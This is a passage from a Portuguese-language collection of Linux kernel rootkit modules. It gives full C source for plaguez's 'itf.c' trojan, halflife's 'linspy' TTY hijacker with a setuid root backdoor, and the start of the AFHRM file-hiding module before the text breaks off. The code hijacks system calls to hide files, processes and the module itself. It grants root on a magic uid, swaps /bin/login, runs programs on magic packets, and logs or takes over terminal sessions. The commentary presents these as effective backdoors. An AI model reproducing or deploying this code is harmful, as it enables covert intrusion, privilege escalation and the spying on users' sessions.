MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1) return(res); ptr = buf; while(ptr < buf + res) { if(!mystrcmp(MAGIC_PREFIX, ptr)) { match = ptr; while(*ptr && *ptr != '\n') ptr++; ptr++; mybcopy(ptr, match, (buf + res) - ptr); res = res - (ptr - match); return(res); } while(*ptr && *ptr != '\n') ptr++; ptr++; } return(res); } int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret) { int res; int cnt; char *ptr, *match; res = (*original_query_module)(name, which, buf, bufsize, ret); if(res == -1) return(-errno); if(which != QM_MODULES) return(res); ptr = buf; for(cnt = 0; cnt < *ret; cnt++) { if(!mystrcmp(MAGIC_PREFIX, ptr)) { match = ptr; while(*ptr) ptr++; ptr++; mybcopy(ptr, match, bufsize - (ptr - (char *)buf)); (*ret)--; return(res); } while(*ptr) ptr++; ptr++; } return(res); } int init_module(void) { original_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = hacked_getdents; original_kill = sys_call_table[SYS_kill]; sys_call_table[SYS_kill] = hacked_kill; original_read = sys_call_table[SYS_read]; sys_call_table[SYS_read] = hacked_read; original_query_module = sys_call_table[SYS_query_module]; sys_call_table[SYS_query_module] = hacked_query_module; return(0); } void cleanup_module(void) { sys_call_table[SYS_getdents] = original_getdents; sys_call_table[SYS_kill] = original_kill; sys_call_table[SYS_read] = original_read; sys_call_table[SYS_query_module] = original_query_module; } ------------------------------------------------------------------------- LKM Hider/Socket Backdoor Nome: itf.c Autor: Plaguez Descricao: Este muito bom LKM foi publicado na phrack 52(artigo 18: 'Weakening the Linux Kernel'). Este modulo tem tudo que voce precisa para por uma backdoor em um sistema de uma maneira bastante efetiva. Veja o texto e depois aprecie o codigo =] Este eh o itf.c. O ponto forte deste programa sao demonstracoes de tecnicas de backdoor em kernel usando systemcalls redirecionados. Uma vez instalado, eh muito dificil de se livrar. Incluindo a parte princpal: - funcoes stealth: uma vez rodado 'insmod', itf ira modificar a estrutura do modulo *mp e get_kernel_symbols(2) entao isso nao ira aparecer no /proc/modules ou saidas de terminais. Entao, o modulo nao pode ser fechado. - demonstrador sniffer: itf ira por uma backdoor no ioctl(2) entao a flag promisc sera quebrada. Note que vc precisara alocar o sniffer antes de rodar o insmod itf.o, porque o itf ira alterar a flag promisc e fara quando parar de pega-lo(ou entao vc pode simplesmente tentar um ifconfig eth0 +promisc e manchar o modulo...). - demonstrador de arquivos: itf vai entao aplicar a getdents(2) system calls, e mostrando ao conteudo dos arquivos uma certa palavra em seu arquivo. - demonstrador de processos: usando o mesmo esquema descrito acima, ele ira mostrar os diretorios /proc/PID usando entradas argv. - socket recvfrom() backdoor: quando um pacote conteudo um certo tamanho e a string eh recebida, um programa nao-interativo sera executado. Tipico uso de um shell script(que ira trabalhar usando uma string magica) que abre outra porta e espera por comandos de shell. - setupid() trojan: quando um setupid() system call com uid == magic number eh feito, o processo chamado ira pegar uid = euid = gid = 0. /* * itf.c v0.8 * Linux Integrated Trojan Facility * (c) plaguez 1997 -- dube0866@eurobretagne.fr * This is mostly not fully tested code. Use at your own risks. * * * compile with: * gcc -c -O3 -fomit-frame-pointer itf.c * Then: * insmod itf * * * Thanks to Halflife and Solar Designer for their help/ideas. * * Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial. * * */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include /* Customization section * - RECVEXEC is the full pathname of the program to be launched when a packet * of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom(). * This program can be a shell script, but must be able to handle null **argv (I'm too lazy * to write more than execve(RECVEXEC,NULL,NULL); :) * - NEWEXEC is the name of the program that is executed instead of OLDEXEC * when an execve() syscall occurs. * - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID) * is made (like Halflife's code) * - files containing MAGICNAME in their full pathname will be invisible to * a getdents() system call. * - processes containing MAGICNAME in their process name will be hidden of the * procfs tree. */ #define MAGICNAME "w00w00T$!" #define MAGICUID 31337 #define OLDEXEC "/bin/login" #define NEWEXEC "/.w00w00T$!/w00w00T$!login" #define RECVEXEC "/.w00w00T$!/w00w00T$!recv" #define MAGICSIZE sizeof(MAGICNAME)+10 /* old system calls vectors */ int (*o_getdents) (uint, struct dirent *, uint); ssize_t(*o_readdir) (int, void *, size_t); int (*o_setuid) (uid_t); int (*o_execve) (const char *, const char *[], const char *[]); int (*o_ioctl) (int, int, unsigned long); int (*o_get_kernel_syms) (struct kernel_sym *); ssize_t(*o_read) (int, void *, size_t); int (*o_socketcall) (int, unsigned long *); /* entry points to brk() and fork() syscall. */ static inline _syscall1(int, brk, void *, end_data_segment); static inline _syscall0(int, fork); static inline _syscall1(void, exit, int, status); extern void *sys_call_table[]; extern struct proto tcp_prot; int errno; char mtroj[] = MAGICNAME; int __NR_myexecve; int promisc; /* * String-oriented functions * (from user-space to kernel-space or invert) */ char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if (*ptr < '0' || *ptr > '9') return (-1); res += (*ptr - '0') * mul; mul *= 10; } return (res); } /* * process hiding functions */ struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do { if (p->pid == pid) return p; p = p->next_task; } while (p != current); return NULL; } /* the following function comes from fs/proc/array.c */ static inline char *task_name(struct task_struct *p, char *buf) { int i; char *name; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if (!c) break; if (c == '\\') { buf[1] = c; buf += 2; continue; } if (c == '\n') { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; } while (i); *buf = '\n'; return buf + 1; } int invisible(pid_t pid) { struct task_struct *task = get_task(pid); char *buffer; if (task) { buffer = kmalloc(200, GFP_KERNEL); memset(buffer, 0, 200); task_name(task, buffer); if (strstr(buffer, (char *) &mtroj)) { kfree(buffer); return 1; } } return 0; } /* * New system calls */ /* * hide module symbols */ int n_get_kernel_syms(struct kernel_sym *table) { struct kernel_sym *tb; int compt, compt2, compt3, i, done; compt = (*o_get_kernel_syms) (table); if (table != NULL) { tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL); if (tb == 0) { return compt; } compt2 = 0; done = 0; i = 0; memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym)); while (!done) { if ((tb[compt2].name)[0] == '#') i = compt2; if (!strcmp(tb[compt2].name, mtroj)) { for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++); if (compt3 != (compt - 1)) memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym)); else compt = i; done++; } compt2++; if (compt2 == compt) done++; } memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym)); kfree(tb); } return compt; } /* * how it works: * I need to allocate user memory. To do that, I'll do exactly as malloc() does * it (changing the break value). */ int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } int n_execve(const char *filename, const char *argv[], const char *envp[]) { char *test; int ret, tmp; char *truc = OLDEXEC; char *nouveau = NEWEXEC; unsigned long mmm; test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL); (void) strncpy_fromfs(test, filename, strlen(truc)); test[strlen(truc)] = '\0'; if (!strcmp(test, truc)) { kfree(test); mmm = current->mm->brk; ret = brk((void *) (mmm + 256)); if (ret < 0) return ret; memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); ret = my_execve((char *) (mmm + 2), argv, envp); tmp = brk((void *) mmm); } else { kfree(test); ret = my_execve(filename, argv, envp); } return ret; } /* * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces. * If we reset the PROMISC flag when the trojan is already running, then it * won't hide it anymore (needed otherwise you'd just have to do an * "ifconfig eth0 +promisc" to find the trojan). */ int n_ioctl(int d, int request, unsigned long arg) { int tmp; struct ifreq ifr; tmp = (*o_ioctl) (d, request, arg); if (request == SIOCGIFFLAGS && !promisc) { memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq)); ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC); memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq)); } else if (request == SIOCSIFFLAGS) { memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq)); if (ifr.ifr_flags & IFF_PROMISC) promisc = 1; else if (!(ifr.ifr_flags & IFF_PROMISC)) promisc = 0; } return tmp; } /* * trojan setMAGICUID() system call. */ int n_setuid(uid_t uid) { int tmp; if (uid == MAGICUID) { current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } tmp = (*o_setuid) (uid); return tmp; } /* * trojan getdents() system call. */ int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; tmp = (*o_getdents) (fd, dirp, count); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc = 1; if (tmp > 0) { dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); memcpy_fromfs(dirp2, dirp, tmp); dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \ ||(proc && invisible(myatoi(dirp3->d_name)))) { if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (dirp3->d_reclen == 0) { /* * workaround for some shitty fs drivers that do not properly * feature the getdents syscall. */ tmp -= t; t = 0; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } /* * Trojan socketcall system call * executes a given binary when a packet containing the magic word is received. * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM. */ int n_socketcall(int call, unsigned long *args) { int ret, ret2, compt; char *t = RECVEXEC; unsigned long *sargs = args; unsigned long a0, a1, mmm; void *buf; ret = (*o_socketcall) (call, args); if (ret == MAGICSIZE && call == SYS_RECVFROM) { a0 = get_user(sargs); a1 = get_user(sargs + 1); buf = kmalloc(ret, GFP_KERNEL); memcpy_fromfs(buf, (void *) a1, ret); for (compt = 0; compt < ret; compt++) if (((char *) (buf))[compt] == 0) ((char *) (buf))[compt] = 1; if (strstr(buf, mtroj)) { kfree(buf); ret2 = fork(); if (ret2 == 0) { mmm = current->mm->brk; ret2 = brk((void *) (mmm + 256)); memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1); /* Hope the execve has been successfull otherwise you'll have 2 copies of the master process in the ps list :] */ ret2 = my_execve((char *) mmm + 2, NULL, NULL); } } } return ret; } /* * module initialization stuff. */ int init_module(void) { /* module list cleaning */ /* would need to make a clean search of the right register * in the function prologue, since gcc may not always put * struct module *mp in %ebx * * Try %ebx, %edi, %ebp, well, every register actually :) */ register struct module *mp asm("%ebx"); *(char *) (mp->name) = 0; mp->size = 0; mp->ref = 0; /* * Make it unremovable */ /* MOD_INC_USE_COUNT; */ o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms]; sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms; o_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = (void *) n_getdents; o_setuid = sys_call_table[SYS_setuid]; sys_call_table[SYS_setuid] = (void *) n_setuid; __NR_myexecve = 164; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; o_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0) { sys_call_table[__NR_myexecve] = o_execve; sys_call_table[SYS_execve] = (void *) n_execve; } promisc = 0; o_ioctl = sys_call_table[SYS_ioctl]; sys_call_table[SYS_ioctl] = (void *) n_ioctl; o_socketcall = sys_call_table[SYS_socketcall]; sys_call_table[SYS_socketcall] = (void *) n_socketcall; return 0; } void cleanup_module(void) { sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms; sys_call_table[SYS_getdents] = o_getdents; sys_call_table[SYS_setuid] = o_setuid; sys_call_table[SYS_socketcall] = o_socketcall; if (__NR_myexecve != 0) sys_call_table[__NR_myexecve] = 0; sys_call_table[SYS_execve] = o_execve; sys_call_table[SYS_ioctl] = o_ioctl; } ----------------------------------------------------------------------- LKM TTY hijacking Nome: linspy Autor: halflife Descricao: Este LKM encontra-se na phrack 50( artigo 5: 'Abuse of the Linux Kernel for Fun and Profit'). Isto eh uma otima sequestratora de tty trabalhando da maneira discutida na II.7. Este modulo usa seu proprio character device para controlar e logar. <++> linspy/Makefile CONFIG_KERNELD=-DCONFIG_KERNELD CFLAGS = -m486 -O6 -pipe -fomit-frame-pointer -Wall $(CONFIG_KERNELD) CC=gcc # this is the name of the device you have (or will) made with mknod DN = '-DDEVICE_NAME="/dev/ltap"' # 1.2.x need this to compile, comment out on 1.3+ kernels V = #-DNEED_VERSION MODCFLAGS := $(V) $(CFLAGS) -DMODULE -D__KERNEL__ -DLINUX all: linspy ltread setuid linspy: linspy.c /usr/include/linux/version.h $(CC) $(MODCFLAGS) -c linspy.c ltread: $(CC) $(DN) -o ltread ltread.c clean: rm *.o ltread setuid: hacked_setuid.c /usr/include/linux/version.h $(CC) $(MODCFLAGS) -c hacked_setuid.c <--> end Makefile <++> linspy/hacked_setuid.c int errno; #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef NEED_VERSION static char kernel_version[] = UTS_RELEASE; #endif static inline _syscall1(int, setuid, uid_t, uid); extern void *sys_call_table[]; void *original_setuid; extern int hacked_setuid(uid_t uid) { int i; if(uid == 4755) { current->uid = current->euid = current->gid = current->egid = 0; return 0; } sys_call_table[SYS_setuid] = original_setuid; i = setuid(uid); sys_call_table[SYS_setuid] = hacked_setuid; if(i == -1) return -errno; else return i; } int init_module(void) { original_setuid = sys_call_table[SYS_setuid]; sys_call_table[SYS_setuid] = hacked_setuid; return 0; } void cleanup_module(void) { sys_call_table[SYS_setuid] = original_setuid; } <++> linspy/linspy.c int errno; #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef MODULE #include #include #endif #include #include #include #include #include #include #include #include #include /* set the version information, if needed */ #ifdef NEED_VERSION static char kernel_version[] = UTS_RELEASE; #endif #ifndef MIN #define MIN(a,b) ((a) < (b) ? (a) : (b)) #endif /* ring buffer info */ #define BUFFERSZ 2048 char buffer[BUFFERSZ]; int queue_head = 0; int queue_tail = 0; /* taken_over indicates if the victim can see any output */ int taken_over = 0; static inline _syscall3(int, write, int, fd, char *, buf, size_t, count); extern void *sys_call_table[]; /* device info for the linspy device, and the device we are watching */ static int linspy_major = 40; int tty_minor = -1; int tty_major = 4; /* address of original write(2) syscall */ void *original_write; void save_write(char *, size_t); int out_queue(void) { int c; if(queue_head == queue_tail) return -1; c = buffer[queue_head]; queue_head++; if(queue_head == BUFFERSZ) queue_head=0; return c; } int in_queue(int ch) { if((queue_tail + 1) == queue_head) return 0; buffer[queue_tail] = ch; queue_tail++; if(queue_tail == BUFFERSZ) queue_tail=0; return 1; } /* check if it is the tty we are looking for */ int is_fd_tty(int fd) { struct file *f=NULL; struct inode *inode=NULL; int mymajor=0; int myminor=0; if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode)) return 0; mymajor = major(inode->i_rdev); myminor = minor(inode->i_rdev); if(mymajor != tty_major) return 0; if(myminor != tty_minor) return 0; return 1; } /* this is the new write(2) replacement call */ extern int new_write(int fd, char *buf, size_t count) { int r; if(is_fd_tty(fd)) { if(count > 0) save_write(buf, count); if(taken_over) return count; } sys_call_table[SYS_write] = original_write; r = write(fd, buf, count); sys_call_table[SYS_write] = new_write; if(r == -1) return -errno; else return r; } /* save data from the write(2) call into the buffer */ void save_write(char *buf, size_t count) { int i; for(i=0;i < count;i++) in_queue(get_fs_byte(buf+i)); } /* read from the ltap device - return data from queue */ static int linspy_read(struct inode *in, struct file *fi, char *buf, int count) { int i; int c; int cnt=0; if(current->euid != 0) return 0; for(i=0;i < count;i++) { c = out_queue(); if(c < 0) break; cnt++; put_fs_byte(c, buf+i); } return cnt; } /* open the ltap device */ static int linspy_open(struct inode *in, struct file *fi) { if(current->euid != 0) return -EIO; MOD_INC_USE_COUNT; return 0; } /* close the ltap device */ static void linspy_close(struct inode *in, struct file *fi) { taken_over=0; tty_minor = -1; MOD_DEC_USE_COUNT; } /* some ioctl operations */ static int linspy_ioctl(struct inode *in, struct file *fi, unsigned int cmd, unsigned long args) { #define LS_SETMAJOR 0 #define LS_SETMINOR 1 #define LS_FLUSHBUF 2 #define LS_TOGGLE 3 if(current->euid != 0) return -EIO; switch(cmd) { case LS_SETMAJOR: tty_major = args; queue_head = 0; queue_tail = 0; break; case LS_SETMINOR: tty_minor = args; queue_head = 0; queue_tail = 0; break; case LS_FLUSHBUF: queue_head=0; queue_tail=0; break; case LS_TOGGLE: if(taken_over) taken_over=0; else taken_over=1; break; default: return 1; } return 0; } static struct file_operations linspy = { NULL, linspy_read, NULL, NULL, NULL, linspy_ioctl, NULL, linspy_open, linspy_close, NULL }; /* init the loadable module */ int init_module(void) { original_write = sys_call_table[SYS_write]; sys_call_table[SYS_write] = new_write; if(register_chrdev(linspy_major, "linspy", &linspy)) return -EIO; return 0; } /* cleanup module before being removed */ void cleanup_module(void) { sys_call_table[SYS_write] = original_write; unregister_chrdev(linspy_major, "linspy"); } <--> end linspy.c <++> linspy/ltread.c #include #include #include #include #include #include #include #include #include #include struct termios save_termios; int ttysavefd = -1; int fd; #ifndef DEVICE_NAME #define DEVICE_NAME "/dev/ltap" #endif #define LS_SETMAJOR 0 #define LS_SETMINOR 1 #define LS_FLUSHBUF 2 #define LS_TOGGLE 3 void stuff_keystroke(int fd, char key) { ioctl(fd, TIOCSTI, &key); } int tty_cbreak(int fd) { struct termios buff; if(tcgetattr(fd, &save_termios) < 0) return -1; buff = save_termios; buff.c_lflag &= ~(ECHO | ICANON); buff.c_cc[VMIN] = 0; buff.c_cc[VTIME] = 0; if(tcsetattr(fd, TCSAFLUSH, &buff) < 0) return -1; ttysavefd = fd; return 0; } char *get_device(char *basedevice) { static char devname[1024]; int fd; if(strlen(basedevice) > 128) return NULL; if(basedevice[0] == '/') strcpy(devname, basedevice); else sprintf(devname, "/dev/%s", basedevice); fd = open(devname, O_RDONLY); if(fd < 0) return NULL; if(!isatty(fd)) return NULL; close(fd); return devname; } int do_ioctl(char *device) { struct stat mystat; if(stat(device, &mystat) < 0) return -1; fd = open(DEVICE_NAME, O_RDONLY); if(fd < 0) return -1; if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1; if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1; } void sigint_handler(int s) { exit(s); } void cleanup_atexit(void) { puts(" "); if(ttysavefd >= 0) tcsetattr(ttysavefd, TCSAFLUSH, &save_termios); } main(int argc, char **argv) { int my_tty; char *devname; unsigned char ch; int i; if(argc != 2) { fprintf(stderr, "%s ttyname\n", argv[0]); fprintf(stderr, "ttyname should NOT be your current tty!\n"); exit(0); } devname = get_device(argv[1]); if(devname == NULL) { perror("get_device"); exit(0); } if(tty_cbreak(0) < 0) { perror("tty_cbreak"); exit(0); } atexit(cleanup_atexit); signal(SIGINT, sigint_handler); if(do_ioctl(devname) < 0) { perror("do_ioctl"); exit(0); } my_tty = open(devname, O_RDWR); if(my_tty == -1) exit(0); setvbuf(stdout, NULL, _IONBF, 0); printf("[now monitoring session]\n"); while(1) { i = read(0, &ch, 1); if(i > 0) { if(ch == 24) { ioctl(fd, LS_TOGGLE, 0); printf("[Takeover mode toggled]\n"); } else stuff_keystroke(my_tty, ch); } i = read(fd, &ch, 1); if(i > 0) putchar(ch); } } <--> end ltread.c -------------------------------------------------------------------------- AFHRM - the monitor tool(a ferramenta de monitoracao) Nome: AFHRM (Advanced File Hide & Redirect Module) Autor: Michael Zalewski Descricao: Este LKM was feito especialmente para administradores que querem controlar alguns arquivos(passwd, for example) tendo acesso a ele. Este modulo pode monitorar qualquer acesso de arquivo e redirecionar coisas que estao sendo escritas. /* Advanced file hide & redirect module for Linux 2.0.xx / i386 ------------------------------------------------------------ (C) 1998 Michal Zalewski */ #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #if (!defined(__GLIBC__) || __GLIBC__ < 2) #include #else #include // What can I do? #endif #include #include "broken-glibc.h" #include #include /* Hope that's free? */ #define O_NOCHG 0x1000000 #define O_ACCNOCHG 0x2000000 #define O_STRICT 0x4000000 #define O_STILL 0x8000000 #define M_MAIN 0x0ffffff #define M_MINOR (M_MAIN ^ O_ACCMODE) struct red { // Redirections database entry. const char *src,*dst; const int flags,new_flags; }; struct red redir_table[]={ // Include user-specific choices :-) #include "config.h" }; #define REDIRS sizeof(redir_table)/sizeof(struct red) struct dat { // Inode database entry. long ino,dev; int valid; }; int as_today,ohits,ghits, // internal counters. uhits,lhits,rhits; struct dat polozenie[REDIRS]; // Inodes database. // Protos... int collect(void); extern void* sys_call_table[]; // Old system calls handlers (for module removal). int (*stary_open)(const char *pathname, int flags, mode_t mode); int (*stary_getdents)(unsigned int fd, struct dirent* dirp, unsigned int count); int (*stary_link)(const char* oldname,const char* newname); int (*stary_unlink)(const char* name); int (*stary_rename)(const char* oldname,const char* newname); int (*sys_stat)(void*,void*); int (*mybrk)(void*); // Ugly low-level hack - OH, HOW WE NEED IT :))) int mystat(const char* arg1,struct stat* arg2,char space) { unsigned long m1=0,m2; long __res; char* a1; struct stat* a2; if (!space) { // If needed, duplicate 1st argument to user space... m1=current->mm->brk; mybrk((void*)(m1+strlen(arg1)+1)); a1=(char*)(m1+2); memcpy_tofs(a1,arg1,strlen(arg1)+1); } else a1=(char*)arg1; // Allocate space for 2nd argument... m2=current->mm->brk; mybrk((void*)(m2+sizeof(struct stat))); a2=(struct stat*)(m2+2); // Call stat(...) __res=sys_stat(a1,a2); // Copy 2nd argument back... memcpy_fromfs(arg2,a2,sizeof(struct stat)); // Free memory. if (!space) mybrk((void*)m1); else mybrk((void*)m2); return __res; } // New open(...) handler. extern int nowy_open(const char *pathname, int flags, mode_t mode) { int i=0,n; char zmieniony=0,*a1; struct stat buf; unsigned long m1=0; if (++as_today>INTERV) { as_today=0; collect(); } if (!mystat(pathname,&buf,1)) for (i=0;i 0)*flags) | (((redir_table[i].new_flags & O_ACCNOCHG) > 0)*(flags & O_ACCMODE)) | (redir_table[i].new_flags & M_MAIN); /* User space trick */ m1=current->mm->brk; mybrk((void*)(m1+strlen(redir_table[i].dst)+1)); a1=(char*)(m1+2); memcpy_tofs(a1,redir_table[i].dst,strlen(redir_table[i].dst)+1); pathname=a1; zmieniony=1; } else return -ERR; } i=stary_open(pathname,flags,mode); if (zmieniony) mybrk((void*)m1); return i; } // New getdents(...) handler. int nowy_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { int ret,n,t,i,dev; struct dirent *d2,*d3; ret=stary_getdents(fd,dirp,count); dev = (long)current->files->fd[fd]->f_inode->i_dev; if (ret>0) { d2=(struct dirent*)kmalloc(ret,GFP_KERNEL); memcpy_fromfs(d2,dirp,ret); d3=d2; t=ret; while (t>0) { n=d3->d_reclen; t-=n; for (i=0;id_ino==polozenie[i].ino && redir_table[i].dst == NULL) { #ifdef DEBUG printk("AFHRM_DEBUG: getdents %s [D: 0x%x I: 0x%x] r: 0x%x t: 0x%x\n", redir_table[i].src,dev,d3->d_ino,ret,t); #endif ghits++; if (t!=0) memmove(d3,(char*)d3+d3->d_reclen,t); else d3->d_off=1024; ret-=n; } if (!d3->d_reclen) { ret-=t;t=0; } if (t) d3=(struct dirent*)((char*)d3+d3->d_reclen); } memcpy_tofs(dirp,d2,ret); kfree(d2); } return ret; } // New link(...) handler. extern int nowy_link(const char *oldname,const char *newname) { int i; struct stat buf; if (!mystat(oldname,&buf,1)) for (i=0;i